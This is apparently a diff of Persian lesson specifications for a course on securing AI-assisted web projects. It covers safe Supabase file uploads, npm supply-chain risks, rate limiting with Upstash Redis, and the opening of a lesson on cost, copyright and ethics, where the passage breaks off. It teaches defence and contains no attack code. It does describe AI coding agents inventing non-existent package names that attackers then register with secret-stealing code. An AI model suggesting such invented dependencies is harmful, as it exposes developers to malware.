4. **حمله Path Traversal و نحوه خنثی‌سازی آن:** `images/path-traversal-neutralization.png`
|
||||
* **موضوع:** اینفوگرافیک مقایسه‌ای: نام فایل مخرب نفوذگر در برابر نام فایل خنثی و تمیزشده با شناسه تصادفی در باکت.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# امنیت دیتابیس (RLS) و پروتکل امن آپلود فایل در Supabase Storage`
|
||||
2. **مقدمه:** چرا دکمه آپلود فایل، جذاب‌ترین دروازه ورودی برای هکرهاست و چطور آن را مثل یک گاوصندوق امن کنیم؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره درب ورودی انبار کالا:**
|
||||
* هر کسی اجازه ورود کارتن در بسته بدون برچسب بازرسی به انبار شرکت را ندارد.
|
||||
5. **خطرات مرگبار آپلود فایل بدون اعتبارسنجی:**
|
||||
* بدافزارهای پنهان در عکس، فایل‌های مخرب اجرایی، و داستان جالب اسکریپت‌های مخرب در فایل‌های SVG.
|
||||
6. **پروتکل ۴ لایه ایمن‌سازی آپلود در پورتفولیوی شخصی:**
|
||||
* چک کردن MIME Type، سقف ۵ مگابایت، و بازنویسی نام با UUID.
|
||||
7. **کدنویسی ماژول آپلود امن `lib/upload.ts`:**
|
||||
* تابع بارگذاری امن عکس‌های پروژه و تصویر کاور در باکت `portfolio-assets`.
|
||||
8. **پیکربندی سیاست‌های باکت در Supabase Storage:**
|
||||
* تنظیم مجوز مشاهده همگانی برای تصاویر پروژه‌ها، و انحصار آپلود/حذف فقط برای ادمین لاگین‌شده.
|
||||
9. **جعبه پرامپت طلایی: ساخت کامپوننت آپلود امن فایل با ایجنت:**
|
||||
* پرامپت دقیق:
|
||||
> «من می‌خواهم در پنل ادمین پورتفولیو، یک کامپوننت آپلود تصویر برای کاور پروژه‌ها اضافه کنم. این کامپوننت باید: ۱) فقط فایل‌های PNG، JPG و WebP زیر ۵ مگابایت را قبول کند، ۲) نام فایل را با یک UUID تصادفی جایگزین کند، ۳) فایل را مستقیماً در باکت `portfolio-assets` سوپابیس آپلود کند و ۴) آدرس عمومی تصویر را در دیتابیس ذخیره کند.»
|
||||
10. **باکس نکته Quera (`<details class="violet">`):** ماجرای حمله Path Traversal؛ چرا هرگز نباید به نام اصلی فایل ارسالی کاربر اعتماد کرد.
|
||||
11. **باکس هشدار Quera (`<details class="red">`):** هرگز اجازه آپلود اسناد اجرایی یا کدهای HTML/SVG را به کاربران احراز هویت نشده ندهید.
|
||||
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** تست آپلود یک تصویر سنگین یا نامعتبر و مشاهده مسدودسازی هوشمندانه آن با پیام خطای خوانا.
|
||||
13. **جمع‌بندی درس‌نامه:** ایمن‌سازی کامل پایگاه داده و فایل‌ها؛ ورود به جهان پکیج‌ها و خطرات وابستگی‌های مخرب در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] آسیب‌پذیری‌های متداول آپلود فایل (جعل نوع فایل، فایل‌های حجیم و خطر SVG) تشریح گردند.
|
||||
- [ ] پروتکل ۴ مرحله‌ای آپلود امن به همراه کدهای کاربردی ارائه شود.
|
||||
- [ ] سیاست‌های دسترسی به باکت‌های Supabase Storage (Storage RLS) آموزش داده شود.
|
||||
- [ ] پرامپت ساخت ماژول آپلود امن توسط ایجنت در متن درس گنجانده شود.
|
||||
@@ -0,0 +1,122 @@
|
||||
# مشخصات درس‌نامه: مدیریت Dependencyها، امنیت زنجیره تأمین و پکیج‌های توهمی هوش مصنوعی
|
||||
- **شناسه در سیلابس:** `L11.7`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۵ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.6` (امنیت دیتابیس و پروتکل امن آپلود فایل)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** مفهوم امنیت زنجیره تأمین نرم‌افزار (Software Supply Chain Security) را شرح دهد و بداند چرا بیش از ۸۰٪ کدهای یک پروژه مدرن توسط دیگران نوشته شده است.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** پدیده نوظهور و خطرناک «توهم پکیج توسط هوش مصنوعی» (AI Package Hallucination) و ترفند بدافزارنویسان در رجیستر کردن پکیج‌های جعلی در npm را ارزیابی کند.
|
||||
- [ ] **به‌کار ببندد (Apply):** ابزارهای ممیزی امنیت بسته‌ها (`npm audit` و `npm audit fix`) را برای کشف و ترمیم آسیب‌پذیری‌های کتابخانه‌ها در پروژه اجرا نماید.
|
||||
- [ ] **ایجاد کند (Create):** یک چک‌لیست ۳ معیاره سریع (دانلود هفتگی، ستاره‌های گیت‌هاب و تاریخ آخرین انتشار) برای اعتبارسنجی هر کتابخانه قبل از موافقت با نصب آن توسط ایجنت به کار گیرد.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **داستان واقعی پوشه `node_modules`: شهری شلوغ از کدهای دیگران:**
|
||||
* شما ۵ خط کد برای ارسال پیامک می‌نویسید، اما پشت صحنه ۵۰ پکیج مختلف برای پردازش شبکه و رمزنگاری نصب می‌شوند.
|
||||
2. **پدیده وحشتناک پکیج‌های توهمی (Package Hallucination):**
|
||||
* سازوکار حمله: ایجنت در حین نوشتن کد، نام یک پکیج خیالی (مثلاً `next-supabase-sms-helper`) را اختراع کرده و پیشنهاد `npm install` می‌دهد.
|
||||
* هکرها با تحلیل لاگ‌های چت یا حدس توهم‌های رایج مدل‌ها، پکیجی با همان نام در سایت npm ثبت می‌کنند که حاوی کدهای سرقت کلیدهای محرمانه است!
|
||||
3. **چک‌لیست ۳ مرحله‌ای وایب کدر پیش از تایید `npm install`:**
|
||||
* گام ۱: باز کردن صفحه پکیج در `npmjs.com`.
|
||||
* گام ۲: بررسی تعداد دانلود هفتگی (Weekly Downloads)؛ آیا هزاران نفر از آن استفاده می‌کنند یا فقط ۲۰ دانلود دارد؟
|
||||
* گام ۳: بررسی پیوند مخزن گیت‌هاب و تاریخ آخرین آپدیت.
|
||||
4. **ممیزی خودکار آسیب‌پذیری‌ها با `npm audit`:**
|
||||
* سطوح مختلف شدت خطر: Low, Moderate, High, Critical.
|
||||
* اجرای دستور `npm audit fix` برای ارتقای خودکار نسخه‌های دارای باگ بدون شکستن پروژه.
|
||||
5. **نقش حیاتی فایل قفل `package-lock.json`:**
|
||||
* چرا این فایل شناسنامه دقیق با هشدارهای درهم‌سازی (Hash/Checksum) هر پکیج است و نباید پاک شود.
|
||||
6. **دستورات چندسکویی اجرای ممیزی و پاک‌سازی وابستگی‌ها:**
|
||||
* دستورات در منوهای کشویی ویندوز، مک و لینوکس:
|
||||
- `npm audit`
|
||||
- `npm audit fix`
|
||||
7. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): حمله مشهور event-stream در تاریخ اکوسیستم جاوااسکریپت و چرایی اهمیت نظارت بر وابستگی‌ها.
|
||||
* کال‌اوت سبز (`<details class="green">`): پایبندی به پکیج‌های رسمی و مطرح (نظیر Lucide Icons, Zod, Radix UI) به جای پکیج‌های متفرقه و گمنام.
|
||||
* کال‌اوت قرمز (`<details class="red">`): هرگز به ایجنت اجازه اجرای دستورات ترمینال با پارامتر `--force` در هنگام نصب پکیج ندهید.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- راه‌اندازی رجیستری‌های پکیج اختصاصی سازمانی (Verdaccio / Nexus).
|
||||
- بازرسی بایت‌کد و مهندسی معکوس کدهای باینری پکیج‌ها.
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Supply Chain Attack | حمله زنجیره تأمین | رخنه امنیتی ناشی از آلوده‌سازی کتابخانه‌ها یا پکیج‌های شخص ثالثی که پروژه‌ها به آن‌ها وابسته‌اند |
|
||||
| Package Hallucination | توهم پکیج | تولید نام یک کتابخانه ناموجود توسط مدل زبانی که پتانسیل سوءاستفاده توسط هکرها را دارد |
|
||||
| Typosquatting | غلط‌نام‌گذاری فریبکارانه | ثبت پکیجی مخرب با نامی بسیار شبیه به یک پکیج مشهور (مثلاً lodsh به جای lodash) |
|
||||
| npm audit | ممیزی بسته‌های ان‌پی‌ام | ابزار خط فرمان برای اسکن تمام پکیج‌های پروژه و مقایسه آن‌ها با پایگاه داده آسیب‌پذیری‌های جهانی |
|
||||
| Package Lockfile | فایل قفل وابستگی‌ها | سندی که ساختار درختی و نسخه‌های دقیق تک‌تک کتابخانه‌ها و اثر انگشت دیجیتال آن‌ها را ثبت می‌کند |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** اسکنر امنیتی اشعه آبی که کانتینرهای باربری دیجیتال پکیج‌ها را بررسی کرده و جعبه‌های مشکوک حاوی بدافزار قرمز را مهر باطل می‌زند.
|
||||
2. **آناتومی خطر توهم پکیج توسط هوش مصنوعی:** `images/ai-package-hallucination-flow.png`
|
||||
* **موضوع:** اینفوگرافیک گام‌به‌گام: ۱) ایجنت پکیج خیالی پیشنهاد می‌دهد $\rightarrow$ ۲) هکر قبلاً آن را در npm ثبت کرده $\rightarrow$ ۳) توسعه‌دهنده ناآگاه نصب می‌کند $\rightarrow$ ۴) سرقت سکرت‌ها.
|
||||
3. **خروجی دستور `npm audit` در ترمینال:** `images/npm-audit-terminal-output.png`
|
||||
* **موضوع:** اسکرین‌شات از پنجره ترمینال ادیتور با نمایش تعداد باگ‌های Moderate و High و اجرای موفق دستور `npm audit fix`.
|
||||
4. **چک‌لیست ۳ گانه اصالت‌سنجی پکیج در سایت npm:** `images/npm-verification-checklist.png`
|
||||
* **موضوع:** تصویر گرافیکی از صفحه یک پکیج در npmjs.com با کادرهای نئونی دور آمار دانلود هفتگی، لایسنس و تاریخ آپدیت.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# مدیریت Dependencyها، امنیت زنجیره تأمین و پکیج‌های توهمی هوش مصنوعی`
|
||||
2. **مقدمه:** وقتی دستور `npm install` را می‌زنید، دقیقاً به چه کسانی در آن سوی کره زمین اجازه می‌دهید روی کامپیوتر شما کد اجرا کنند؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره قطعات یدکی خودرو و کارخانه‌های تقلبی:**
|
||||
* نصب هر پکیج شبیه تعویض لنت ترمز است؛ قطعه باکیفیت استاندارد می‌خواهید یا قطعه بدون شناسنامه از یک دستفروش ناشناس؟
|
||||
5. **شبح تازه در دنیای وایب کدینگ: توهم پکیج (Package Hallucination):**
|
||||
* چطور مدل‌های زبانی پکیج‌هایی را که وجود خارجی ندارند از خود می‌سازند و هکرها چگونه در کمین نشسته‌اند.
|
||||
6. **روش ۳ مرحله‌ای اعتبارسنجی پکیج قبل از تایید پیشنهاد ایجنت:**
|
||||
* بررسی در npmjs.com، چک کردن حجم دانلودها، و ستاره‌های ریپازیتوری.
|
||||
7. **اجرای چکاپ سلامت پروژه‌ها با `npm audit`:**
|
||||
* درک سطوح آسیب‌پذیری و تفاوت میان هشدارهای سطحی با رخنه‌های بحرانی (Critical).
|
||||
8. **تعمیر خودکار آسیب‌پذیری‌ها با دستور `npm audit fix`:**
|
||||
* ارتقای امن بدون خراب شدن کدهای سازگار.
|
||||
9. **چرا نباید هرگز `package-lock.json` را به عنوان راه‌حل پاک کرد؟**
|
||||
* اهمیت پایداری بیلدهای آینده و ممانعت از نصب نسخه‌های تغییریافته.
|
||||
10. **دستورات چندسکویی برای ممیزی سلامت پکیج‌ها:**
|
||||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||||
- Windows (PowerShell):
|
||||
```powershell
|
||||
npm audit
|
||||
npm audit fix
|
||||
```
|
||||
- macOS (Terminal):
|
||||
```bash
|
||||
npm audit
|
||||
npm audit fix
|
||||
```
|
||||
- Linux (Bash):
|
||||
```bash
|
||||
npm audit
|
||||
npm audit fix
|
||||
```
|
||||
11. **باکس نکته Quera (`<details class="violet">`):** اهمیت مفهوم Least Dependency؛ همیشه به ایجنت بگویید: «آیا می‌توانیم این کار را با توابع داخلی جاوااسکریپت بدون نصب پکیج جدید انجام دهیم؟»
|
||||
12. **باکس هشدار Quera (`<details class="red">`):** خطر پکیج‌های تایپ‌اسکواتینگ (نام‌های شبیه و گمراه‌کننده)؛ همیشه املای کلمات را بازبینی کنید.
|
||||
13. **باکس رضایت‌بخش Quera (`<details class="green">`):** اجرای موفق `npm audit` و دیدن پیام شیرین `found 0 vulnerabilities`.
|
||||
14. **جمع‌بندی درس‌نامه:** مهار کامل زنجیره تأمین نرم‌افزار؛ ورود به مبحث حیاتی جلوگیری از حملات منع سرویس با Rate Limiting در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] مفهوم امنیت زنجیره تأمین و خطرات پکیج‌های متفرقه تبیین شود.
|
||||
- [ ] پدیده نوین توهم پکیج توسط هوش مصنوعی با مثال‌های عینی تشریح گردد.
|
||||
- [ ] دستورات `npm audit` و `npm audit fix` در قالب تب‌های چندسکویی ارائه شود.
|
||||
- [ ] چک‌لیست ۳ مرحله‌ای اعتبارسنجی پکیج‌ها در سایت npm گنجانده شود.
|
||||
@@ -0,0 +1,129 @@
|
||||
# مشخصات درس‌نامه: جلوگیری از حملات DoS و مهار هزینه‌ها با Rate Limiting و Upstash Redis
|
||||
- **شناسه در سیلابس:** `L11.8`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.7` (مدیریت Dependencyها و امنیت زنجیره تأمین)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** خطر مرگبار حملات منع سرویس (Denial of Service - DoS) و سوءاستفاده ربات‌ها از اندپوینت‌های هزینه‌بر (نظیر پیامک کاوه‌نگار و توکن‌های هوش مصنوعی) را شرح دهد.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** چرا محدودسازی نرخ درخواست مبتنی بر حافظه داخلی سرور (In-Memory) در معماری بدون سرور (Serverless) شکست می‌خورد و ضرورت استفاده از دیتابیس توزیع‌شده موقت نظیر Redis را تحلیل کند.
|
||||
- [ ] **به‌کار ببندد (Apply):** سرویس سرورلس **Upstash Redis** را راه‌اندازی کرده و با پکیج `@upstash/ratelimit`، اندپوینت‌های چت هوش مصنوعی و فرم تماس را به سقف درخواست در بازه زمانی مجهز نماید.
|
||||
- [ ] **ایجاد کند (Create):** یک پاسخ استاندارد HTTP با کد وضعیت `429 Too Many Requests` به همراه پیام هشدار فارسی و ثانیه‌شمار تلاش مجدد برای کاربران خاطی طراحی کند.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **کابوس قبض‌های نجومی و ورشکستگی با یک لوپ ساده:**
|
||||
* سناریوی وحشتناک: یک ربات اسکریپتی فرم تماس پورتفولیو را پیدا کرده و در هر ثانیه ۱۰۰ پیامک ارسال می‌کند! نتیجه: اعتبار میلیونی کاوه‌نگار در چند دقیقه تبخیر می‌شود.
|
||||
2. **محدودسازی نرخ درخواست (Rate Limiting) چیست؟**
|
||||
* سهمیه‌بندی تعداد درخواست‌های مجاز برای هر شناسه کاربر یا آدرس IP در بازه زمانی معین (مثلاً: حداکثر ۵ درخواست در هر دقیقه).
|
||||
3. **چالش معماری بدون سرور (Serverless Challenge):**
|
||||
* در پلتفرم‌های مدرن، هر درخواست ممکن است روی یک فانکشن مجزا و مستقل اجرا شود؛ متغیرهای حافظه‌ای در میان این سرورها مشترک نیستند!
|
||||
* راهکار استاندارد: استفاده از پایگاه داده رم سرورلس Upstash Redis با تاخیر چند میلی‌ثانیه‌ای.
|
||||
4. **پیاده‌سازی الگوریتم پنجره لغزان (Sliding Window):**
|
||||
* نصب `@upstash/ratelimit` و `@upstash/redis`.
|
||||
* اعمال محدودیت در Middleware یا مستقیماً در روت `/api/chat` و Server Action پیامک:
|
||||
```typescript
|
||||
import { Ratelimit } from "@upstash/ratelimit";
|
||||
import { Redis } from "@upstash/redis";
|
||||
|
||||
const ratelimit = new Ratelimit({
|
||||
redis: Redis.fromEnv(),
|
||||
limiter: Ratelimit.slidingWindow(5, "60 s"),
|
||||
});
|
||||
```
|
||||
5. **ارائه بازخورد حرفه‌ای با کد ۴۲۹ (Too Many Requests):**
|
||||
* ارسال پاسخ ۴۲۹ همراه با هدر `Retry-After` و نمایش پیام فارسی آرامش‌بخش در UI: «تعداد درخواست‌های شما بیش از حد مجاز است. لطفاً ۶۰ ثانیه دیگر تلاش کنید.»
|
||||
6. **دستورات چندسکویی برای نصب و تنظیمات Upstash:**
|
||||
* نصب پکیج‌ها و تنظیم توکن‌های REST در منوهای کشویی سه سیستم‌عامل.
|
||||
7. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): تفاوت الگوریتم پنجره ثابت (Fixed Window) و پنجره لغزان (Sliding Window) در جلوگیری از حملات در لبه‌های دقیقه.
|
||||
* کال‌اوت سبز (`<details class="green">`): سهمیه رایگان روزانه ۱۰,۰۰۰ درخواست در Upstash که برای پروژه‌های شخصی و پورتفولیوها کاملاً رایگان است.
|
||||
* کال‌اوت قرمز (`<details class="red">`): اولویت‌بندی ریت لیمیت؛ اندپوینت‌های متصل به پول و شارژ (SMS, AI, Payment) باید سخت‌گیرانه‌ترین سهمیه‌ها را داشته باشند.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- پیکربندی فایروال‌های سخت‌افزاری لایه ۳ و ۴ شبکه (WAF سخت‌افزاری).
|
||||
- حملات توزیع‌شده بین‌المللی با میلیون‌ها بات‌نت (DDOS توزیع‌شده جهانی).
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Rate Limiting | محدودسازی نرخ درخواست | استراتژی امنیتی کنترل تعداد دفعاتی که یک کاربر می‌تواند یک عملیات را در بازه زمانی مشخص تکرار کند |
|
||||
| Denial of Service (DoS) | حمله منع سرویس | هجوم عمدی درخواست‌های انبوه به سرور برای از کار انداختن سرویس یا مصرف تمام منابع و بودجه |
|
||||
| Upstash Redis | ردیس سرورلس آپ‌استش | نسخه بهینه‌شده دیتابیس حافظه‌ای پرسرعت Redis برای محیط‌های بدون سرور با ارتباط امن HTTP REST |
|
||||
| Sliding Window | الگوریتم پنجره لغزان | دقیق‌ترین الگوریتم ریت لیمیتینگ که ترافیک ورودی را در بازه زمانی شناور و پیوسته می‌سنجد |
|
||||
| HTTP 429 Too Many Requests | کد خطای درخواست بیش از حد | کد وضعیت استاندارد وب برای اعلام اینکه سهمیه مجاز ارسال درخواست کاربر موقتاً به پایان رسیده است |
|
||||
| Resource Exhaustion | تخلیه و فرسایش منابع | حادثه اتمام اعتبارهای مالی، سقف مصرف پردازنده، یا محدودیت دیتابیس بر اثر هجوم درخواست‌ها |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** گیت ورود نئونی با چراغ راهنمایی هوشمند که به افراد عادی چراغ سبز می‌دهد و ربات‌های تندرو را با علامت ۴۲۹ متوقف می‌کند.
|
||||
2. **سناریوی تخلیه منابع توسط ربات‌ها بدون Rate Limit:** `images/resource-exhaustion-flow.png`
|
||||
* **موضوع:** اینفوگرافیک هشداردهنده: ربات خودکار $\rightarrow$ ارسال ۱۰۰۰ پیامک در دقیقه $\rightarrow$ خطای اتمام اعتبار و بدهی حساب کاربری.
|
||||
3. **نحوه عملکرد Upstash Redis در معماری Serverless:** `images/upstash-serverless-architecture.png`
|
||||
* **موضوع:** دیاگرام معماری: چندین نمونه مختلف سرورهای Next.js همگی به یک پایگاه مشترک Upstash متصل هستند و سهمیه هر IP را می‌شمارند.
|
||||
4. **نمایش پیام خطای ۴۲۹ در ویجت چت و فرم پورتفولیو:** `images/rate-limit-429-ui-feedback.png`
|
||||
* **موضوع:** اسکرین‌شات از ویجت چت با یک بنر ملایم اخطار: «شما ۵ پیام ارسال کرده‌اید؛ لطفاً ۴۵ ثانیه دیگر پیام بعدی را بفرستید.»
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# جلوگیری از حملات DoS و مهار هزینه‌ها با Rate Limiting و Upstash Redis`
|
||||
2. **مقدمه:** چگونه یک ربات بازیگوش می‌تواند در عرض چند دقیقه تمام بودجه شارژ پیامک و هوش مصنوعی شما را بسوزاند و چطور جلوی آن بایستیم؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره دستگاه نوبت‌دهی بانک و کارت‌خوان عابربانک:**
|
||||
* شما نمی‌توانید ۱۰۰ بار پشت سر هم کارت بکشید؛ سیستم بعد از ۳ تلاش، کارت را مسدود می‌کند یا فاصله زمانی می‌اندازد.
|
||||
5. **چرا Rate Limiting در Next.js مدرن به Redis نیاز دارد؟**
|
||||
* معماری Stateless توابع سرورلس و لزوم داشتن یک حافظه مشترک ابری.
|
||||
6. **راه‌اندازی رایگان Upstash Redis در ۲ دقیقه:**
|
||||
* ثبت نام، ساخت دیتابیس با ریجن نزدیک، و کپی کردن آدرس REST و توکن.
|
||||
7. **نصب و کدنویسی ماژول `lib/ratelimit.ts`:**
|
||||
* تنظیم سهمیه ۵ درخواست در دقیقه برای فرم پیامک و ۲۰ پیام برای چت هوش مصنوعی.
|
||||
8. **پیاده‌سازی در روت‌های حساس پورتفولیو:**
|
||||
* بررسی آی‌پی کاربر، صدور پاسخ ۴۲۹، و ارسال هدر زمان انتظار.
|
||||
9. **جعبه پرامپت طلایی: مجهز کردن اندپوینت‌های هزینه به Rate Limit با ایجنت:**
|
||||
* پرامپت دقیق:
|
||||
> «من کلیدهای `UPSTASH_REDIS_REST_URL` و `UPSTASH_REDIS_REST_TOKEN` را در `.env.local` دارم. لطفاً با استفاده از `@upstash/ratelimit`، برای روت `/api/chat` و Server Action فرم تماس، یک محافظت ریت لیمیت پنجره لغزان اضافه کن. اگر کاربر بیش از سقف مجاز پیام فرستاد، یک خطای ۴۲۹ با پیام فارسی و ثانیه‌های باقی‌مانده بازگردان و در فرانت‌اند یک بنر هشدار نمایش بده.»
|
||||
10. **دستورات چندسکویی برای نصب پکیج‌های Upstash:**
|
||||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||||
- Windows (PowerShell):
|
||||
```powershell
|
||||
npm install @upstash/ratelimit @upstash/redis
|
||||
Add-Content .env.local "`nUPSTASH_REDIS_REST_URL=https://your-db.upstash.io`nUPSTASH_REDIS_REST_TOKEN=your_token_here"
|
||||
```
|
||||
- macOS (Terminal):
|
||||
```bash
|
||||
npm install @upstash/ratelimit @upstash/redis
|
||||
echo -e "\nUPSTASH_REDIS_REST_URL=https://your-db.upstash.io\nUPSTASH_REDIS_REST_TOKEN=your_token_here" >> .env.local
|
||||
```
|
||||
- Linux (Bash):
|
||||
```bash
|
||||
npm install @upstash/ratelimit @upstash/redis
|
||||
echo -e "\nUPSTASH_REDIS_REST_URL=https://your-db.upstash.io\nUPSTASH_REDIS_REST_TOKEN=your_token_here" >> .env.local
|
||||
```
|
||||
11. **باکس نکته Quera (`<details class="violet">`):** اهمیت کشف درست آدرس IP کاربر از طریق هدرهای `x-forwarded-for` و جلوگیری از مسدودسازی اشتباه سرورهای خودی.
|
||||
12. **باکس هشدار Quera (`<details class="red">`):** هرگز اندپوینت‌های چت هوش مصنوعی را بدون ریت لیمیت به اینترنت باز نگذارید؛ این کار دعوت رسمی از اسکرپرها برای مصرف اعتبار شماست!
|
||||
13. **باکس رضایت‌بخش Quera (`<details class="green">`):** تست پشت‌سرهم کلیک روی دکمه چت و مشاهده پاسخ مودبانه ۴۲۹ و متوقف شدن مصرف توکن‌ها.
|
||||
14. **جمع‌بندی درس‌نامه:** تثبیت دیوارهای دفاعی فنی؛ ورود به ایستگاه پایانی فصل: هزینه، مالکیت فکری، حقوقی و اخلاق مهندسی در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] خطرات حملات DoS و تخلیه منابع مالی (Resource Exhaustion) تبیین شود.
|
||||
- [ ] چرایی نیاز به Redis در معماری Serverless تشریح گردد.
|
||||
- [ ] نحوه پیاده‌سازی کاربردی Upstash Redis با الگوریتم پنجره لغزان آموزش داده شود.
|
||||
- [ ] پاسخ‌دهی استاندارد HTTP 429 به همراه فرانت‌اند دوستانه در متن درس گنجانده شود.
|
||||
@@ -0,0 +1,101 @@
|
||||
# مشخصات درس‌نامه: هزینه، مالکیت فکری، مسئولیت حقوقی و اخلاق حرفه‌ای در وایب کدینگ
|
||||
- **شناسه در سیلابس:** `L11.9`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.8` (جلوگیری از حملات DoS با Rate Limiting)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** وضعیت حقوقی مالکیت فکری (Copyright) و حق نشر کدهای تولید شده توسط مدل‌های زبانی را بشناسد و بداند چرا ارزش واقعی در معماری، هدایت و انتخاب‌های انسانی نهفته است.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** مسئولیت اخلاقی و قانونی نهایی محصول را ارزیابی کرده و درک کند که در صورت بروز باگ، افشای اطلاعات خصوصی کاربران یا خطاهای مالی، هیچ دادگاه یا کارفرمایی بهانه‌ی «هوش مصنوعی این کد را نوشته بود» را نمی‌پذیرد.
|
||||
- [ ] **به‌کار ببندد (Apply):** سقف‌های سخت‌گیرانه بودجه و هشدارهای مصرف (Hard Limits & Spending Alerts) را در پنل ارائه‌دهندگان ابری (OpenRouter, Supabase, لیارا) تنظیم کند تا از شوک مالی قبوض غیرمنتظره جلوگیری نماید.
|
||||
- [ ] **ایجاد کند (Create):** منشور حریم خصوصی (Privacy Notice) و مدیریت داده‌های حساس هویتی (PII Anonymization) را در پروژه پیاده‌سازی کند تا داده‌های خصوصی کاربران به عنوان دیتای تمرینی به هوش مصنوعی ارسال نشوند.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **شما ناخدای کشتی هستید، نه یک ناظر بی‌مسئولیت:**
|
||||
* هوش مصنوعی یک ابزار کمکی فوق‌پیشرفته است، اما مسئولیت حقوقی، اخلاقی و مالی محصول منتشر شده ۱۰۰٪ بر عهده شخص شماست.
|
||||
2. **مالکیت فکری کدهای هوش مصنوعی (Copyright & Intellectual Property):**
|
||||
* خروجی مستقیم و خام یک مدل هوش مصنوعی در بسیاری از حوزه‌های قضایی جهان مشمول حق کپی‌رایت انحصاری نمی‌شود؛ اما سیستم، معماری، پرامپت‌ها و محصول نهایی شما به عنوان اثر خلاقانه انسانی متعلق به شماست.
|
||||
* خطر کپی شدن ناخواسته کدهای دارای لایسنس سخت‌گیرانه (مانند GPL v3) توسط هوش مصنوعی و ورود آن به پروژه‌های تجاری.
|
||||
3. **مدیریت هزینه‌ها و جلوگیری از شوک قبوض (Bill Shock Prevention):**
|
||||
